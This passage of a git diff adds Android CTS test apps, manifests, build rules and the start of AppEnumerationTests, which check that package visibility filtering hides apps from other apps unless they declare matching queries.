+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.shareduid"
+          android:sharedUserId="android.appenumeration.shareduid">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
new file mode 100644
index 0000000..2810c87
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.q">
+    <uses-sdk android:targetSdkVersion="29" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
new file mode 100644
index 0000000..ce56a77
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
new file mode 100644
index 0000000..d63d1d5
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.pkg">
+
+    <queries>
+        <package android:name="android.appenumeration.noapi" />
+        <package android:name="android.appenumeration.noapi.shareduid" />
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
new file mode 100644
index 0000000..f75fefc
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.provider.authority">
+
+    <queries>
+        <intent>
+            <data android:scheme="content"
+                  android:host="android.appenumeration.testapp" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
new file mode 100644
index 0000000..b451455
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.service.action">
+
+    <queries>
+        <intent>
+            <action android:name="android.appenumeration.action.SERVICE" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
new file mode 100644
index 0000000..cde61df
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.activity.action.unexported">
+
+    <queries>
+        <intent>
+            <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
new file mode 100644
index 0000000..2269ee9
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.provider.authority.unexported">
+
+    <queries>
+        <intent>
+            <data android:scheme="content"
+                  android:host="android.appenumeration.testapp.unexported" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
new file mode 100644
index 0000000..26ef435
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.service.action.unexported">
+
+    <queries>
+        <intent>
+            <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
new file mode 100644
index 0000000..03b288d
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts.query;
+
+import static android.content.Intent.EXTRA_RETURN_RESULT;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.util.Random;
+
+public class TestActivity extends Activity {
+
+    SparseArray<RemoteCallback> callbacks = new SparseArray<>();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        handleIntent(getIntent());
+    }
+
+    private void handleIntent(Intent intent) {
+        RemoteCallback remoteCallback = intent.getParcelableExtra("remoteCallback");
+        Bundle result = new Bundle();
+        final String action = intent.getAction();
+        final String packageName = intent.getStringExtra(
+                Intent.EXTRA_PACKAGE_NAME);
+        if ("android.appenumeration.cts.action.GET_PACKAGE_INFO".equals(action)) {
+            sendPackageInfo(remoteCallback, packageName);
+        } else if ("android.appenumeration.cts.action.START_FOR_RESULT".equals(action)) {
+            int requestCode = RESULT_FIRST_USER + callbacks.size();
+            callbacks.put(requestCode, remoteCallback);
+            startActivityForResult(
+                    new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
+                            new ComponentName(packageName, getClass().getCanonicalName())),
+                    requestCode);
+            // don't send anything... await result callback
+        } else if ("android.appenumeration.cts.action.SEND_RESULT".equals(action)) {
+            try {
+                setResult(RESULT_OK,
+                        getIntent().putExtra(
+                                Intent.EXTRA_RETURN_RESULT,
+                                getPackageManager().getPackageInfo(getCallingPackage(), 0)));
+            } catch (PackageManager.NameNotFoundException e) {
+                setResult(RESULT_FIRST_USER, new Intent().putExtra("error", e));
+            }
+            finish();
+        } else {
+            sendError(remoteCallback, new Exception("unknown action " + action));
+        }
+    }
+
+    private void sendError(RemoteCallback remoteCallback, Exception failure) {
+        Bundle result = new Bundle();
+        result.putSerializable("error", failure);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    private void sendPackageInfo(RemoteCallback remoteCallback, String packageName) {
+        final PackageInfo pi;
+        try {
+            pi = getPackageManager().getPackageInfo(packageName, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            sendError(remoteCallback, e);
+            return;
+        }
+        Bundle result = new Bundle();
+        result.putParcelable(EXTRA_RETURN_RESULT, pi);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        final RemoteCallback remoteCallback = callbacks.get(requestCode);
+        if (resultCode != RESULT_OK) {
+            Exception e = (Exception) data.getSerializableExtra("error");
+            sendError(remoteCallback, e == null ? new Exception("Result was " + resultCode) : e);
+            return;
+        }
+        final Bundle result = new Bundle();
+        result.putParcelable(EXTRA_RETURN_RESULT, data.getParcelableExtra(EXTRA_RETURN_RESULT));
+        remoteCallback.sendResult(result);
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
new file mode 100644
index 0000000..54f6662
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -0,0 +1,69 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAppEnumerationForceQueryable",
+    manifest: "AndroidManifest-forceQueryable.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationFilters",
+    manifest: "AndroidManifest-filters.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationNoApi",
+    manifest: "AndroidManifest-noapi.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationSharedUidTarget",
+    manifest: "AndroidManifest-noapi-sharedUser.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
new file mode 100644
index 0000000..2ea6a5f
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.filters">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.testapp.DummyActivity">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.ACTIVITY" />
+            </intent-filter>
+        </activity>
+        <service android:name="android.appenumeration.testapp.DummyService">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.SERVICE" />
+            </intent-filter>
+        </service>
+        <provider android:name="android.appenumeration.testapp.DummyProvider"
+                  android:authorities="android.appenumeration.testapp"
+                  android:exported="true" />
+        <receiver android:name="android.appenumeration.testapp.DummyReceiver">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.BROADCAST" />
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="android.appenumeration.testapp.DummyActivity"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+            </intent-filter>
+        </activity>
+        <service android:name="android.appenumeration.testapp.DummyService"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+            </intent-filter>
+        </service>
+        <provider android:name="android.appenumeration.testapp.DummyProvider"
+                  android:authorities="android.appenumeration.testapp.unexported"
+                  android:exported="false" />
+        <receiver android:name="android.appenumeration.testapp.DummyReceiver"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
new file mode 100644
index 0000000..e6535b3
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.forcequeryable">
+    <application android:forceQueryable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
new file mode 100644
index 0000000..c3d8487
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.noapi.shareduid"
+          android:sharedUserId="android.appenumeration.shareduid">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
new file mode 100644
index 0000000..9b25acc
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.noapi">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
new file mode 100644
index 0000000..8e243c9
--- /dev/null
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -0,0 +1,334 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteCallback;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.hamcrest.core.IsNull;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.util.Objects;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
+
+@RunWith(AndroidJUnit4.class)
+public class AppEnumerationTests {
+
+    private static final String PKG_BASE = "android.appenumeration.";
+
+    /** A package with no published API and so isn't queryable by anything but package name */
+    private static final String TARGET_NO_API = PKG_BASE + "noapi";
+    /** A package that declares itself force queryable, making it visible to all other packages */
+    private static final String TARGET_FORCEQUERYABLE = PKG_BASE + "forcequeryable";
+    /** A package that exposes itself via various intent filters (activities, services, etc.) */
+    private static final String TARGET_FILTERS = PKG_BASE + "filters";
+    /** A package that exposes nothing, but is part of a shared user */
+    private static final String TARGET_SHARED_USER = PKG_BASE + "noapi.shareduid";
+
+    /** A package that queries nothing, but is part of a shared user */
+    private static final String QUERIES_NOTHING_SHARED_USER =
+            PKG_BASE + "queries.nothing.shareduid";
+    /** A package that has no queries tag or permission to query any specific packages */
+    private static final String QUERIES_NOTHING = PKG_BASE + "queries.nothing";
+    /** A package that has no queries tag or permissions but targets Q */
+    private static final String QUERIES_NOTHING_Q = PKG_BASE + "queries.nothing.q";
+    /** A package that has no queries but gets the QUERY_ALL_PACKAGES permission */
+    private static final String QUERIES_NOTHING_PERM = PKG_BASE + "queries.nothing.haspermission";
+    /** A package that queries for the action in {@link #TARGET_FILTERS} activity filter */
+    private static final String QUERIES_ACTIVITY_ACTION = PKG_BASE + "queries.activity.action";
+    /** A package that queries for the action in {@link #TARGET_FILTERS} service filter */
+    private static final String QUERIES_SERVICE_ACTION = PKG_BASE + "queries.service.action";
+    /** A package that queries for the authority in {@link #TARGET_FILTERS} provider */
+    private static final String QUERIES_PROVIDER_AUTH = PKG_BASE + "queries.provider.authority";
+    /** Queries for the unexported action in {@link #TARGET_FILTERS} activity filter */
+    private static final String QUERIES_UNEXPORTED_ACTIVITY_ACTION =
+            PKG_BASE + "queries.activity.action.unexported";
+    /** Queries for the unexported action in {@link #TARGET_FILTERS} service filter */
+    private static final String QUERIES_UNEXPORTED_SERVICE_ACTION =
+            PKG_BASE + "queries.service.action.unexported";
+    /** Queries for the unexported authority in {@link #TARGET_FILTERS} provider */
+    private static final String QUERIES_UNEXPORTED_PROVIDER_AUTH =
+            PKG_BASE + "queries.provider.authority.unexported";
+    /** A package that queries for {@link #TARGET_NO_API} package */
+    private static final String QUERIES_PACKAGE = PKG_BASE + "queries.pkg";
+
+    private static final String[] ALL_QUERIES_TARGETING_Q_PACKAGES = {
+            QUERIES_NOTHING,
+            QUERIES_NOTHING_PERM,
+            QUERIES_ACTIVITY_ACTION,
+            QUERIES_SERVICE_ACTION,
+            QUERIES_PROVIDER_AUTH,
+            QUERIES_UNEXPORTED_ACTIVITY_ACTION,
+            QUERIES_UNEXPORTED_SERVICE_ACTION,
+            QUERIES_UNEXPORTED_PROVIDER_AUTH,
+            QUERIES_PACKAGE,
+            QUERIES_NOTHING_SHARED_USER
+    };
+
+    private static Context sContext;
+    private static Handler sResponseHandler;
+    private static HandlerThread sResponseThread;
+
+    private static boolean sGlobalFeatureEnabled;
+
+    @Rule
+    public TestName name = new TestName();
+
+    @BeforeClass
+    public static void setup() {
+        final String deviceConfigResponse =
+                SystemUtil.runShellCommand(
+                        "device_config get package_manager_service "
+                                + "package_query_filtering_enabled")
+                        .trim();
+        if ("null".equalsIgnoreCase(deviceConfigResponse) || deviceConfigResponse.isEmpty()) {
+            sGlobalFeatureEnabled = false;
+        } else {
+            sGlobalFeatureEnabled = Boolean.parseBoolean(deviceConfigResponse);
+        }
+        System.out.println("Feature enabled: " + sGlobalFeatureEnabled);
+        if (!sGlobalFeatureEnabled) return;
+
+        sResponseThread = new HandlerThread("response");
+        sResponseThread.start();
+        sResponseHandler = new Handler(sResponseThread.getLooper());
+    }
+
+    @Before
+    public void setupTest() {
+        if (!sGlobalFeatureEnabled) return;
+
+        if (sContext == null) {
+            sContext = InstrumentationRegistry.getInstrumentation().getContext();
+        }
+        setFeatureEnabledForAll(true);
+    }
+
+    @AfterClass
+    public static void tearDown() {
+        if (!sGlobalFeatureEnabled) return;
+        sResponseThread.quit();
+    }
+
+    @Test
+    public void all_canSeeForceQueryable() throws Exception {
+        assertVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE);
+    }
+
+    @Test
+    public void queriesNothing_cannotSeeNonForceQueryable() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_NO_API);
+        assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesNothing_featureOff_canSeeAll() throws Exception {
+        setFeatureEnabledForAll(QUERIES_NOTHING, false);
+        assertVisible(QUERIES_NOTHING, TARGET_NO_API);
+        assertVisible(QUERIES_NOTHING, TARGET_FILTERS);
